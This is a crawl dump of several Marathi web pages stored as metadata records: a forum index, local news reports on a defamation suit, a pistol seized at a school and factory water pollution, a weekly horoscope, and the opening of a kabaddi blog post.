"crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00310.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.maayboli.com/gulmohar/photography", "date_download": "2018-09-25T16:43:42Z", "digest": "sha1:USDIFO336UHFYAXUQGKLCPNRUBLF253L", "length": 3791, "nlines": 97, "source_domain": "www.maayboli.com", "title": "हितगुज ग्रूप: गुलमोहर - प्रकाशचित्रण | Photography | Maayboli", "raw_content": "\nआरण्यक - हिरवाई (भाग – ०२ अ) लेखनाचा धागा\nआरण्यक - घराभोवतालचे सखेसोबती : (भाग ०१) लेखनाचा धागा\nनवा मेंबर मनीमाऊ झोई (Zoe) उर्फ सगुणा - म्यांव म्यांव वाहते पान\nमुंबई गणेशोत्सव २०१८ : बाप्पांचे दर्शन लेखनाचा धागा\nऔट घ़टकेचे पालकत्व लेखनाचा धागा\nभाषेचे गणित लेखनाचा धागा\nरंग माझा वेगळा (मांजरांचे फोटोफिचर) लेखनाचा धागा\nसातारा - वाई - रायरेश्वर भटकंती लेखनाचा धागा\nरॉकी माऊंटन नॅशनल पार्क - कॉलोरॅडो लेखनाचा धागा\n भाग २ - मुरो कट्टा लेखनाचा धागा\nलावण्यवती मुंबई लेखनाचा धागा\nबुलबुल येती आमच्या घरा... लेखनाचा धागा\nतिरुपती दर्शन - कोल्हापूरची अंबाबाई महालक्ष्मी लेखनाचा धागा\nCadena de amor लेखनाचा धागा\nजय विनायक मन्दिर , जयगड. लेखनाचा धागा\nवसंतोत्सव २०१४ - Spring \nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00310.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%A8%E0%A4%B5%E0%A4%BE%E0%A4%AC-%E0%A4%AE%E0%A4%B2%E0%A4%BF%E0%A4%95-%E0%A4%AF%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%B5%E0%A4%BF%E0%A4%B0%E0%A5%8B%E0%A4%A7%E0%A4%BE/", "date_download": "2018-09-25T18:00:17Z", "digest": "sha1:MMYGX4BZQOSNJR2L25BB77XMAZGOG6DO", "length": 8682, "nlines": 71, "source_domain": "pclive7.com", "title": "नवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा गिरीश बापट यांनी मागे घेतला | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome ताज्या घडामोडी नवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा गिरीश बापट यांनी मागे घेतला\nनवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा गिरीश बापट यांनी मागे घेतला\nपुणे (Pclive7.com):- राष्ट्रवादी काँग्रेसचे प्रवक्ते नवाब मलिक यांच्या विरोधातील अब्रुनुकसानीचा दावा अन्न व नागरी पुरवठा मंत्री गिरीश बापट यांनी आज मागे घेतला. तूरडाळ व्यवहार प्रकरणात पुण्यातल्या शिवाजीनगर न्यायालयात गिरीश बापट यांनी मलिक यांच्या विरोधात अब्रुनुकसानीचा दावा दाखल केला होता.\nअब्रूनुकसानीचा दावा केल्या प्रकरणी आज सुनावणी होती, यासाठी गिरीश बापट आणि राष्ट्रवादीचे प्रवक्ते नवाब मलिक दोघेही शिवाजीनगर न्यायालयात हजर झाले. गिरीश बापटांनी दाखल केलेल्या अब्रूनुकसानीच्या दाव्यासंदर्भात सुनावणी झाली. ‍गिरीश बापट यांच्यावर करोडो रुपयांचा तूर डाळ घोटाळा केल्याचा आरोप मलिकांनी केला होता. जीवनावश्यक वस्तू कायद्याअंतर्गत कारवाई करून जप्त केलेल्या तूरडाळीत २ हजार कोटींचा घोटाळा झाला आहे. यात अन्न व नागरी पुरवठा मंत्री गिरीश बापट यांचा सहभाग आहे, असा आरोप नवाब मलिक यांनी केला होता.\nतूरडाळीच्या किंमती भडकल्यानंतर कॅबिनेट सेक्रेटरी पी.के. सिन्हा यांनी विविध राज्याच्या अन्न व नागरी पुरवठा विभागाच्या सचिवांची बैठक बोलावली होती. या बैठकीनंतर, १८ नोव्हेंबर २०१७ रोजी सिन्हा यांनी कायद्यानुसार या डाळीची व्यवस्था करण्याचे आदेश दिले होते. त्यामुळे ‘जप्त डाळीचा जाहीर लिलाव करणार’ ही सरकारची घोषणा फसवी आहे. डाळीचे साठे जप्त केले असताना चालढकल का राज्यातील जनतेच्या ताटातील डाळ चोरणाऱ्या‍या साठेबाज व्यापार्‍यांवर काय कारवाई केली, असे सवालही मलिक यांनी केले होते. या आरोपांनंतर बापट यांनी मलिक यांच्यावर अब्रुनुकसानीचा दावा केला होता, तो आज मागे घेतला आहे. नवाब मलिक यांनी केलेले आरोप हे व्यक्तीगत स्वरुपाचे नव्हते. ते सरकारच्या धोरणाविरोधात होते. तो त्यांचा अधिकार आहे. त्यामुळे मी हा दावा मागे घेतला असल्याचे बापट यांनी सांगितले.\nहिंजवडीत आयटी इंजिनिअरची आत्महत्या\nथेऊर येथील ‘राइस एन शाइन बायोटेक’ कंपनीला भीषण आग; जीवितहानी नाही\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00311.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/gilr-from-third-standered-found-with-desi-kattafather-booked-by-police/", "date_download": "2018-09-25T17:21:45Z", "digest": "sha1:HYZQ3YJ26442FWCPYUEYQI3NLOGFEXFE", "length": 16564, "nlines": 257, "source_domain": "www.saamana.com", "title": "तिसरी इयत्तेतील मुलीकडे सापडला देशी कट्टा,वडीलांविरोधात गुन्हा दाखल | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nतिसरी इयत्तेतील मुलीकडे सापडला देशी कट्टा,वडीलांविरोधात गुन्हा दाखल\nहिंगोली शहरातील विद्यानिकेतन इंग्लिश शाळेच्या तिसऱ्या इयत्तेत शिकणाऱ्या मुलीकडून पोलिसांनी देशी कट्टा,९ जिवंत काडतुसे आणि दोन पुंगळ्या जप्त केल्याने शहरात जबरदस्त खळबळ उडाली आहे.ही मुलगी वर्गामध्ये तिच्या मैत्रिणींना हा देशी कट्टा दाखवत होती. सुदैवाने हा देशी कट्टा हाताळताना कोणतीही दुर्घटना झाली नाही.\nया मुलीकडे बंदुक असल्याचं शिक्षकांना कळालं, त्यांनी तातडीने शाळेच्या मुख्याध्यापकांना याबाबत माहिती दिली. मुख्याध्यापकांनी पोलिसांना बोलावून घेतलं. पोलिसांनी तात्काळ पंचनामा करून हा देशी कट्टा आणि काडतूसे जप्त केली. चौकशीमध्ये पोलिसांना कळालं की हा देशी कट्टा तिच्या वडीलांचा आहे. ते सिंचन विभागामध्ये चालक म्हणून कार्यकरत आहे. त्यांनी घरामध्ये बेकायदा कट्टा ठेवलाच कसा हा प्रश्न पोलिसांना पडला आहे. यामुळेच पोलिसांनी या मुलीच्या वडीलांविरोधात गुन्हा दाखल केला आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकैलास मानसरोबर यात्रेसाठीची नोंदणी आजपासून सुरू होणार\nपुढीलकपिल शर्मा, इरफान खानविरोधात न्यायालयीन कारवाईच्या हालचालींना सुरुवात\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00311.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/503791", "date_download": "2018-09-25T17:19:44Z", "digest": "sha1:LZSS5H3FP6VNZDZC3YQXHF34XG24GWO3", "length": 11325, "nlines": 43, "source_domain": "www.tarunbharat.com", "title": "कारखान्यांच्या रसायन मिश्रीत पाण्याचा बंदोबस्त न झाल्यास आंदोलन - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » कोल्हापुर » कारखान्यांच्या रसायन मिश्रीत पाण्याचा बंदोबस्त न झाल्यास आंदोलन\nकारखान्यांच्या रसायन मिश्रीत पाण्याचा बंदोबस्त न झाल्यास आंदोलन\nगोकुळ शिरगाव औद्योगिक वसाहतीमधील कारखान्यांनी सोडलेले रसायनमिश्रीत पाणी थेट तामगाव येथील ओढय़ात मिसळत आहे. त्यामुळे तामगाव, सांगवडे, मुडशिंगी या गावांतील नागरिकांच्या आरोग्याचा धोका निर्माण झाला आहे. त्यासाठी हे रसायन मिश्रीत पाणी बंद न झाल्यास शिवसेना स्टाईलने आंदोलन करण्यात येईल, असा इशारा शिवसेनेच्यावतीने देण्यात आला.\nगोकुळ शिरगाव औद्योगिक वसाहतीतील कारखानदार तसेच महाराष्ट्र राज्य प्रदूषण नियंत्रण मंडळाचे अधिकारी यांची बैठक येथील गोशिमा कार्यालयात झाली. यावेळी शिवसेनेच्यावतीने निवेदनाद्वारे हा इशारा देण्यात आला. यावेळी शिवसेनेचे जिल्हा प्रमुख संजय पवार, विजय देवणे तसेच कोल्हापूरच्या प्रदूषण नियंत्रण मंडळाचे प्रादेशिक अधिकारी दिलीप खेडकर उपस्थित होते. यावेळी शिवसेनेच्यावतीने अधिकाऱयांना निवेदन देण्यात आले.\nगोकुळ शिरगाव औद्योगिक वसाहतीमधील काही कारखान्यांचे रसायन मिश्रीत सांडपाणी थेट तामगाव येथील ओढय़ात सोडले जाते. ही गंभीर बाब असून, ज्या कारखान्यांमध्ये असे दूषित रासायनिक पाणी तयार होते. त्यावर प्रक्रिया करण्याची यंत्रणा त्या संबंधित कारखानदारांनी उभी करणे कायद्याने बंधनकारक आहे. याबाबतची कल्पना कारखानदारांना कारखाना उभा करताना दिलेली असते. परंतु याची अंमलबजावणी होत नसल्याने अशा प्रदूषित पाण्यामुळे ओढय़ाचे पाणी दूषित होते. शिवाय हे दूषित पाणी जमिनीत झिरपून ओढय़ाशेजारी असलेल्या विहिरी, कूपनलिका यांच्यात मिसळून ते खराब होते. त्यामुळे नागरिकांसह पाळीव जनावरांच्या आरोग्याचा प्रश्न गंभीर बनला आहे. यापूर्वी या ओढय़ाचे दूषित पाणी पिल्याने कित्त्येक जनावरे दगावली आहेत. त्याचबोबर या रासायनिक पाण्यामुळे आसपासची शेतीसुध्दा बाधित झाली असून, शेती उत्पादनावर त्याचा परिणाम झाला आहे. रसायन मिश्रीत पाण्यामुळे संपूर्ण तामगाव गाव आज ओढय़ाच्या पाण्यामध्ये आपली जनावरे घेऊन जाण्यास घाबरत आहेत. पण जनावरांना पावसाळय़ात ओढय़ाशिवाय पर्याय नसतो. त्यामुळे या रसायन मिश्रीत पाण्याचा वेळीच बंदोबस्त होणे गरजेचे असल्याचे ग्रामस्थांचे म्हणणे आहे. त्यामुळे हे रसायन मिश्रीत पाणी ताबडतोब बंद करण्याचे निवेदन गोशिमामध्ये बैठकीत महाराष्ट्र प्रदूषण नियंत्रण मंडळाचे प्रादेशिक अधिकारी दिलीप खेडकर यांना देण्यात आले.\nयावेळी खेडकर यांनी ज्यावेळी कारखानदार आपला कारखाना उभा करतात, त्यावेळी त्यांना घनकचरा, जलप्रदूषण, हवा प्रदूषण होणार नाही या तीन अटी घातल्या जातात. याचे जो कारखानदार पालन करीत नाहीत त्यांच्यावर कारवाई केली जाते. जर त्याला कचरा टाकण्यासाठी जागा नसेल तर एमआयडीसीची राखीव जागा असते. त्या ठिकाणी तो टाकला पाहिजे. अन्यथा त्या कारखानदारावर तातडीने कारवाई केली जाईल, असे त्यांनी यावेळी सांगितले.\nगोशिमा चेअरमन सुरजित पोवार म्हणाले, गोशिमाच्यावतीने सर्व कारखानदारांनी आपल्या कारखान्यातील खराब पाणी बाहेर जाऊ न देता त्या पाण्यावर योग्य ती प्रक्रिया करावी. तसेच तेच पाणी पुन्हा वापरात कसे घेता येईल याचे नियोजन करावे. आपल्या कारखान्याचे रसायन मिश्रीत पाणी, घनकचरा आदी गोष्टी बाहेर जाऊ न देता तो आपण कसा निपटारा करायचा याचे नियोजन केले जाईल व या औद्योगिक वसाहतीच्या शेजारील गावांना त्रास होणार नाही याची काळजी घेतली जाई, असे त्यांनी सांगितले.\nयावेळी शिवसेनेचे जिल्हाध्यक्ष संजय पोवार, विजय देवणे, हर्षल सुर्वे, रवी चौगुले, राजू यादव, संजय जाधव, भगवान कदम, विनोद खोत, बबलू शेख, अभिजित पाटील, सुरेश पाटील, अमित धनवडे, उद्योजक गोशिमा अध्यक्ष सुरजित पोवार, लक्ष्मीदास पटेल, अजित आजरी, मोहन मुल्हेरकर, उदय दुधाणे, श्रीधर पोतनिस, आर. पी. पाटील आदी उपस्थित होते.\nचिल्लर पार्टीतर्फे ‘द लायन किंग’ रविवारी बालकांच्या भेटीला\nव्यायाम मंडळाची इमारत आणि बिअरबार विषयी मुरगूडच्या सभेत चर्चा\nअंबपवाडी ग्रामपंचायतीवर सत्ताधारी भैरवनाथ ग्रामविकास पॅनेलचे वर्चस्व\nपाम ट्रीच्या फळांचे करायचे काय\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00311.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/534409", "date_download": "2018-09-25T17:31:03Z", "digest": "sha1:VISDT5JRX6HBDMX7OHVK5FCEVSCBL6LX", "length": 14903, "nlines": 61, "source_domain": "www.tarunbharat.com", "title": "राशिभविष्य - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » भविष्य » राशिभविष्य\n19 ते 25 नोव्हेंबर\nशुक्र व बुधाचे राश्यांतर होत आहे. कलाक्रीडा क्षेत्रात नवीन संधी मिळेल. व्यवसायात जुनी येणी वसूल करण्याचा प्रयत्न करा. शेतीच्या कामात प्रगती संभवते. रविवारी व सोमवारी जीवनसाथीबरोबर चहाच्या पेल्यातील वादळे संभवतात. राजकीय व सामाजिक क्षेत्रात आता आपली घोडदौड असणार आहे. शत्रू आपले मित्र होण्याचा प्रयत्न करतील. आपल्या विचारांना महत्त्व मिळेल. प्रवासात मात्र दगदग संभवते. वाहन खरेदीचा विचार मनात येईल.\nअति आत्मविश्वास घातक ठरू शकतो. व्यवसायात गुंतवणूक करताना अनुभवी व्यक्तीचा सल्ला घ्या. कुटुंबात ताण-तणाव वाढण्याचे चिन्ह दिसेल. जबाबदारीने वागावे व बोलावे लागेल. कोर्टाच्या कामात उतावळेपणा नको. अनाठायी पैसा व शब्द खर्च होण्याची शक्मयता आहे. प्रॉपर्टीच्या वाटाघाटीत तुमच्यावर आरोप येतील. शेतीच्या कामात लक्ष देऊन काम केल्यास आर्थिक नुकसान भरून काढता येईल. विद्यार्थीवर्गाने अभ्यासाकडे जास्त लक्ष द्यावे.\nआठवडय़ाची सुरुवात थोडी कटकटीची असली तरी पुढील दिवस चांगले आहेत. व्यवसायात मोठय़ा फायद्याची संधी मिळेल. सावधपणे निर्णय घ्या. राजकीय व सामाजिक क्षेत्रात विरोधक नमते धोरण घेतील. धनुराशीत बुधाचे राश्यांतर साहाय्य करणारे आहे. अहंकार व दादागिरी नको. मैत्रीच्या नात्याने वागा. समस्या सोडवा. विद्यार्थीवर्गाला यश मिळेल. संयम ठेवा. मुलांच्या प्रगतीची खबर मिळेल. वरि÷ांना कमी लेखू नका. नम्रता ठेवल्यास प्रश्न वाढणार नाही.\nधनुराशीत बुधाचे राश्यांतर व सूर्य चंद्र लाभयोग होत आहे. मंगळवार, बुधवार राजकीय-सामाजिक कार्यात वाद निर्माण होऊ शकतो. वरि÷ांची मर्जी राखता येईल. लोकप्रियता वाढवता येईल. कोर्टाच्या कामात साहाय्य मिळेल. संसारात चांगली बातमी उत्साह वाढवेल. कला-क्रीडा क्षेत्रात प्रसिद्धी व लाभ मिळेल. वाटाघाटीत तणाव झाला तरी मार्ग शोधता येईल. शिक्षणात पुढे जाता येईल. धंद्यात थकबाकी वसूल करा.\nया आठवडय़ात ताणतणाव होईल. कठीण प्रसंग राजकीय- सामाजिक कार्यात निर्माण होतील. तुमचे वर्चस्व कमी करण्याचा प्रयत्न होईल. गुप्त कारवायांचा त्रास भोगावा लागेल. गर्वि÷पणा ठेवू नका. मार्ग मिळेल. लोकांचे प्रेम व अनुभवी माणसांचे सहाय्य उपयुक्त ठरेल. कोर्टकेसमध्ये अडचणी येतील. धावपळ झाल्याने थकवा वाटेल. धंद्यातील चुका शोधून ठेवा. संधी पुढे मिळेल. विद्यार्थीवर्गाने अभ्यासावर लक्ष द्यावे.\nधनुराशीत बुध प्रवेश व सूर्य-चंद्र लाभयोग होत आहे. राजकीय- सामाजिक कार्यात प्रति÷ा राहील. अधिकार मिळवण्याचा प्रयत्न याच आठवडय़ात करा. मंगळवार, बुधवार गैरसमज होईल. राग वाढेल. धंद्यात फायदा होईल. कामगार वर्गाशी जुळवून घ्या. तुमचा प्रेमळ स्वभाव व मैत्री करण्याची वृत्ती, यामुळे प्रगतीची संधी कला, क्रीडा क्षेत्रात मिळेल. प्रेमाला चालना मिळेल. संसारात सर्वांचे सहकार्य मिळेल. संततीला चांगली संधी मिळाल्याचे समाधान मिळेल.\nधनुराशीत बुधाचे राश्यांतर व शुक्र, प्लुटो लाभयोग होत आहे. तुमच्या क्षेत्रात तुमचे वर्चस्व वाढेल. प्रगतीची मोठी संधी मिळेल. राजकीय, सामाजिक कार्यात वरि÷ खूष होतील. शुक्रवार, शनिवार दुखापत संभवते. काळजी घ्या. वाहन जपून चालवा. विरोधकांना संधी देऊ नका. कला, क्रीडा क्षेत्रात पुरस्कार व आर्थिक लाभ मिळेल. नवीन परिचय फायदेशीर ठरेल. धंदा वाढेल. अविवाहितांना लग्नासाठी स्थळे मिळतील. शिक्षणात यश मिळेल.\nतुमचा आत्मविश्वास टिकून राहिल्याने कोणत्याही प्रसंगावर मात करू शकाल. कुठेही अतिरेकाने वागू नका. पैसा पाकीट सांभाळा. धंद्यात सुधारणा होईल. भावनेच्या आहारी जाऊ नका. राजकीय, सामाजिक कार्यात जास्त काम करावे लागेल. घरातील व्यक्तींना दुखवू नका. नवीन ओळख झालेल्या व्यक्तीवर एकदम विश्वास टाकू नका. प्रेमात फसगत होईल. सावध रहा. विद्यार्थी वर्गाने आळस करू नये. खाण्याची काळजी घ्या.\nधनुराशीत बुधाचे राश्यांतर व शुक्र, प्लुटो लाभयोग होत आहे. रविवार, सोमवार राजकीय, सामाजिक क्षेत्रात अपमानास्पद वागणूक मिळेल. विनायक चतुर्थीपासून समस्या कमी होईल. विरोधक वेगळय़ा प्रकारची टीका करतील. भयभीत करण्याचा प्रयत्न करतील. नोकरीत वरि÷ांना दुखवू नका. कामाचा व्याप वाढेल. संसारात जबाबदारी स्वीकारावी लागेल. प्रेमाची माणसे मदत करतील. धंद्यात सुधारणा करता येईल. जिद्दीनेच प्रश्न सोडवता येईल.\nमहत्वाचे प्रश्न सोडवा. चर्चा करा. याच आठवडय़ात मार्ग मिळेल. बोलतांना मंगळवार, बुधवार सावध रहा. राजकीय, सामाजिक कार्यात प्रति÷ा राहील. धनु राशीत बुध प्रवेश व चंद गुरु लाभयोग होत आहे. लोकांच्यासाठी कार्य करा. प्रेम मिळवा. योजना पूर्ण करा, यश खेचता येईल. धंद्यात सावधपणे निर्णय घ्या. कोर्टाच्या कामात प्रगती होईल. शिक्षणात उन्नती होईल. कायद्याच्या विरोधात जाऊ नका.\nराजकीय, सामाजिक क्षेत्रात सप्ताहाच्या सुरुवातीला महत्त्वाचा निर्णय घ्या. शुक्रवार, शनिवार संतापजनक घटना घडण्याची शक्मयता आहे. प्रवासात सावध रहा. धनुराशीत बुध प्रवेश व शुक्र, प्लुटो लाभयोग होत आहे. तुमची प्रति÷ा व लोकप्रियता वाढेल. कार्य जोरात सुरू ठेवा. धंद्यात वाढ करता येईल. शेअर्समध्ये गुंतवणूक योग्य सल्याने करा. संसारात सुखाचे क्षण येतील. घुप्तकारवायांपासून सावध रहा. कलेत प्रगती होईल.\nधनुराशीत बुध प्रवेश व सूर्य चंद्र लाभयोग होत आहे. या सप्ताहात सर्वच क्षेत्रातील समस्या कमी करण्याचा प्रयत्न करू शकाल. भावना व कर्तव्य यांचा योग्य मेळ घाला. मोहाला बळी पडू नका. कोर्टकेसमध्ये साहाय्य मिळेल. आशादायक परिस्थिती तुमच्या बाजूने राहील. राजकीय, सामाजिक कार्यात लोकाना दुखवू नका. कार्य करत रहा. धंद्यात प्रगती होईल. मौल्यवान वस्तू सांभाळा.कला क्रीडा क्षेत्रात तडजोड करावी लागेल.\nआजचे भविष्य मंगळवार दि. 20 जून 2017\nआजचे भविष्य सोमवार दि. 19 मार्च 2018\nआजचे भविष्य शनिवार दि. 7 एप्रिल 2018\nआजचे भविष्य शनिवार दि. 2 जून 2018\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00311.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.mithileshbhoir.in/2014/08/", "date_download": "2018-09-25T18:01:37Z", "digest": "sha1:OCRTPCJJEW3DHDKISH6HWQD6ZQXEKHXY", "length": 6004, "nlines": 128, "source_domain": "www.mithileshbhoir.in", "title": "Mithilesh Bhoir Blog©: August 2014", "raw_content": "\nकबड्डी ला सुगीचे दिवस \nकबड्डी हा मुख्यत्वे महाराष्ट्रातील तांबडया मातीतला खेळ. हा खेळ दोन संघांमध्ये खेळला जातो. 